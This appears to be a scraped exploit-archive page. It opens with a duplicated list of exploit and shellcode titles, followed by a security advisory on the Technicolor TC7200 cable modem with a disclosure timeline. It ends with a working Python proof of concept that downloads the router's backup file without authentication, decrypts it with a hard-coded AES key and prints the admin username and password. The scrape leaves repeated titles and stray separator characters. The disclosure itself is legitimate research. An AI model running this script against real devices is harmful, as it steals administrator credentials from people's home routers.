
16 new exploits Ubuntu Breezy 5.10 - Installer Password Disclosure Ubuntu 5.10 - Installer Password Disclosure BSD/x86 - setuid/portbind (TCP 31337) shellcode (94 bytes) BSD/x86 - setuid/portbind 31337/TCP shellcode (94 bytes) Linux/x86 - shellcode that forks a HTTP Server on port tcp/8800 (166 bytes) Linux/x86 - listens for shellcode on tcp/5555 and jumps to it (83 bytes) Linux/x86 - Forks a HTTP Server on port 8800/TCP shellcode (166 bytes) Linux/x86 - Listens for shellcode on 5555/TCP and jumps to it (83 bytes) Linux/x86 - Shellcode Polymorphic chmod(_/etc/shadow__666) (54 bytes) Linux/x86 - Polymorphic chmod(_/etc/shadow__666) Shellcode (54 bytes) Linux/x86 - Add root user _r00t_ with no password to /etc/passwd shellcode (69 bytes) Linux/x86 - Add root user 'r00t' with no password to /etc/passwd shellcode (69 bytes) Linux/x86 - SET_PORT() portbind 31337 tcp shellcode (100 bytes) Linux/x86 - SET_PORT() portbind 31337/TCP shellcode (100 bytes) Linux/x86 - Add User _xtz_ without Password to /etc/passwd shellcode (59 bytes) Linux/x86 - Add User 'xtz' without Password to /etc/passwd shellcode (59 bytes) Linux/x86 - Bind /bin/sh to 31337/tcp shellcode (80 bytes) Linux/x86 - Bind /bin/sh to 31337/tcp + fork() shellcode (98 bytes) Linux/x86 - Bind /bin/sh to 31337/TCP shellcode (80 bytes) Linux/x86 - Bind /bin/sh to 31337/TCP + fork() shellcode (98 bytes) Linux/x86 - connect-back shellcode 127.0.0.1:31337/tcp (74 bytes) Linux/x86 - Connect-back shellcode 127.0.0.1:31337/TCP (74 bytes) Linux/x86 - Add user _t00r_ encrypt shellcode (116 bytes) Linux/x86 - Add user 't00r' encrypt shellcode (116 bytes) Linux/x86 - Add user _t00r_ shellcode (82 bytes) Linux/x86 - Add user 't00r' shellcode (82 bytes) Linux/x86 - Add user _z_ shellcode (70 bytes) Linux/x86 - Add User 'z' shellcode (70 bytes) Solaris/x86 - portbind/tcp shellcode (Generator) Solaris/x86 - portbind/TCP shellcode (Generator) Linux/x86 - append _/etc/passwd_ & exit() shellcode (107 bytes) Linux/x86 - append '/etc/passwd' & exit() shellcode (107 bytes) Linux/x86 - sends _Phuck3d!_ to all terminals shellcode (60 bytes) Linux/x86 - sends 'Phuck3d!' to all terminals shellcode (60 bytes) Linux/x86 - change mode 0777 of _/etc/shadow_ with sys_chmod syscall shellcode (39 bytes) Linux/x86 - change mode 0777 of '/etc/shadow' with sys_chmod syscall shellcode (39 bytes) Linux/x86 - change mode 0777 of _/etc/passwd_ with sys_chmod syscall shellcode (39 bytes) Linux/x86 - change mode 0777 of '/etc/passwd' with sys_chmod syscall shellcode (39 bytes) Linux/ARM - Add root user _shell-storm_ with password _toor_ shellcode (151 bytes) Linux/ARM - Add root user 'shell-storm' with password 'toor' shellcode (151 bytes) OS-X/Intel - reverse_tcp shell x86_64 shellcode (131 bytes) OS-X/Intel (x86_64) - reverse_tcp shell shellcode (131 bytes) Linux/SuperH (sh4) - Add root user _shell-storm_ with password _toor_ shellcode (143 bytes) Linux/SuperH (sh4) - Add root user 'shell-storm' with password 'toor' shellcode (143 bytes) Linux/MIPS - Add user(UID 0) _rOOt_ with password _pwn3d_ shellcode (164 bytes) Linux/MIPS - Add user(UID 0) 'rOOt' with password 'pwn3d' shellcode (164 bytes) Linux/x86-64 - Bind TCP 4444 Port Shellcode (81 bytes / 96 bytes with password) Linux/x86-64 - Bind 4444/TCP Port Shellcode (81 bytes / 96 bytes with password) Linux/x86 - TCP Bind Shell 33333 Port Shellcode (96 bytes) Linux/x86 - Bind Shell 33333/TCP Port Shellcode (96 bytes) OS-X/x86-64 - tcp 4444 port bind Nullfree shellcode (144 bytes) OS-X/x86-64 - 4444/TPC port bind Nullfree shellcode (144 bytes) Linux/x86-64 - Bind TCP 4444 Port Shellcode (103 bytes) Linux/x86-64 - TCP 4444 port Bindshell with Password Prompt shellcode (162 bytes) Linux/x86-64 - Bind 4444/TCP Port Shellcode (103 bytes) Linux/x86-64 - Bindshell 4444/TCP with Password Prompt shellcode (162 bytes) Linux/x86-64 - Bind TCP Port 1472 shellcode (IPv6) (199 bytes) Linux/x86-64 - Bind 1472/TCP shellcode (IPv6) (199 bytes) Linux/x86 - TCP Bind Shell Port 4444 shellcode (656 bytes) Linux/x86 - Bind Shell Port 4444/TCP shellcode (656 bytes) Linux/x86 - TCP Bind Shell Port 4444 shellcode (98 bytes) Linux/x86 - Bind Shell Port 4444/TCP shellcode (98 bytes) Rapid7 AppSpider 6.12 - Local Privilege Escalation Barracuda Web App Firewall 8.0.1.007/Load Balancer 5.4.0.004 - Remote Command Execution (Metasploit) Barracuda Spam & Virus Firewall 5.1.3.007 - Remote Command Execution (Metasploit) MediaCoder 0.8.43.5852 - .m3u SEH Exploit Drupal CODER Module 2.5 - Remote Command Execution (Metasploit) CodoForum 3.2.1 - SQL Injection CoolPlayer+ Portable 2.19.6 - .m3u Stack Overflow (Egghunter+ASLR bypass) GRR Système de Gestion et de Réservations de Ressources 3.0.0-RC1 - Arbitrary File Upload PHP gettext (gettext.php) 1.0.12 - Unauthenticated Code Execution PHP 7.0.8_ 5.6.23 and 5.5.37 - bzread() Out-of-Bounds Write Ubee EVW3226 Modem/Router 1.0.20 - Multiple Vulnerabilities Technicolor TC7200 Modem/Router STD6.02.11 - Multiple Vulnerabilities Hitron CGNV4 Modem/Router 4.3.9.9-SIP-UPC - Multiple Vulnerabilities Compal CH7465LG-LC Modem/Router CH7465LG-NCIP-4.50.18.13-NOSH - Multiple Vulnerabilities Bellini/Supercook Wi-Fi Yumi SC200 - Multiple Vulnerabilities Micro Focus Filr 2 2.0.0.421_ Filr 1.2 1.2.0.846 - Multiple Vulnerabilities
130 lines
4.4 KiB
Python
Executable file
130 lines
4.4 KiB
Python
Executable file
'''
|
|
Technicolor TC7200 modem/router multiple vulnerabilities
|
|
--------------------------------------------------------
|
|
|
|
Platforms / Firmware confirmed affected:
|
|
- Technicolor TC7200, STD6.02.11
|
|
- Product page: http://www.technicolor.com/en/solutions-services/connected-home/broadband-devices/cable-modems-gateways/tc7200-tc7300
|
|
|
|
Vulnerabilities
|
|
---------------
|
|
Insecure session management
|
|
|
|
The web interface does not use cookies at all and does not check the IP
|
|
address of the client. If admin login is successful, every user from the
|
|
LAN can access the management interface.
|
|
|
|
Backup file encryption uses fix password
|
|
|
|
Technicolor fixed the CVE-2014-1677 by encrypting the backup file with
|
|
AES. However, the encrypted backup file remains accessible without
|
|
authentication and if the password is not set in the web interface a
|
|
default password is used. So, if an attacker accesses the backup file
|
|
without authentication, the password cannot be set, and the backup file
|
|
can be decrypted.
|
|
|
|
Timeline
|
|
--------
|
|
|
|
- 2015.07.30: We sent some new issues affecting the Ubee router and other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC
|
|
- Between 2015.07.31 and 08.12 there were several e-mail and phone communications between technical persons from Liberty Global to clarify the findings
|
|
- 2015.08.19: UPC sent out advisory emails to its end users to change the default WiFi passphrase
|
|
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
|
|
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
|
|
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.
|
|
|
|
POC
|
|
---
|
|
POC script is available to demonstrate the following problems [2]:
|
|
- Unauthenticated backup file access
|
|
- Backup file decryption
|
|
|
|
Recommendations
|
|
---------------
|
|
Since only the ISP can update the firmware, we can recommend for users
|
|
to change the WiFi passphrase.
|
|
|
|
Credits
|
|
-------
|
|
This vulnerability was discovered and researched by Gergely Eberhardt
|
|
from SEARCH-LAB Ltd. (www.search-lab.hu)
|
|
|
|
References
|
|
----------
|
|
[1] http://www.search-lab.hu/advisories/secadv-20160720
|
|
[2] https://github.com/ebux/Cable-modems/tree/master/Technicolor
|
|
'''
|
|
#
|
|
# POC code for Technicolor TC7200
|
|
#
|
|
# Demonstrates the following vulnerabilities
|
|
# - Unauthenticated backup file access
|
|
# - Backup file decryption
|
|
#
|
|
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
|
|
#
|
|
# Advisory: http://www.search-lab.hu/advisories/secadv-20150720
|
|
|
|
import sys
|
|
import requests
|
|
import struct
|
|
import binascii
|
|
from Crypto.Cipher import AES
|
|
|
|
class technicolor:
|
|
def __init__(self, addr, port):
|
|
self.addr = addr
|
|
self.port = port
|
|
self.s = requests.Session()
|
|
|
|
def getUri(self, uri):
|
|
return 'http://%s:%d/%s'%(self.addr,self.port,uri)
|
|
|
|
def downloadBackupFile(self):
|
|
r = self.s.get(self.getUri('goform/system/GatewaySettings.bin'))
|
|
resp = ''
|
|
for chunk in r:
|
|
resp += chunk
|
|
return resp
|
|
|
|
def parseBackup(self, backup):
|
|
p = backup.find('MLog')
|
|
if (p > 0):
|
|
p += 6
|
|
nh = struct.unpack('!H',backup[p:p+2])[0]
|
|
name = backup[p+2:p+2+nh]
|
|
p += 2+nh
|
|
ph = struct.unpack('!H',backup[p:p+2])[0]
|
|
pwd = backup[p+2:p+2+nh]
|
|
return (name,pwd)
|
|
return ('','')
|
|
|
|
def decryptBackup(self, backup):
|
|
key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F')
|
|
l = (len(backup)/16)*16
|
|
cipher = AES.new(key, AES.MODE_ECB, '\x00'*(16))
|
|
plain = cipher.decrypt(backup[0:l])
|
|
return plain
|
|
|
|
|
|
#------------------------------------
|
|
|
|
if (len(sys.argv) < 2):
|
|
print 'technicolor_tc7200_poc.py addr [port]'
|
|
addr = sys.argv[1]
|
|
port = 80
|
|
if (len(sys.argv) == 3):
|
|
port = int(sys.argv[2])
|
|
|
|
# create technicolor object
|
|
t = technicolor(addr, port)
|
|
|
|
backup = t.downloadBackupFile()
|
|
if (len(backup) > 0):
|
|
open('test.enc', 'wb').write(backup)
|
|
plain = t.decryptBackup(backup)
|
|
open('test.dec', 'wb').write(plain)
|
|
|
|
(name, pwd) = t.parseBackup(plain)
|
|
if (name != ''):
|
|
print 'admin name: %s, pwd: %s'%(name,pwd)
|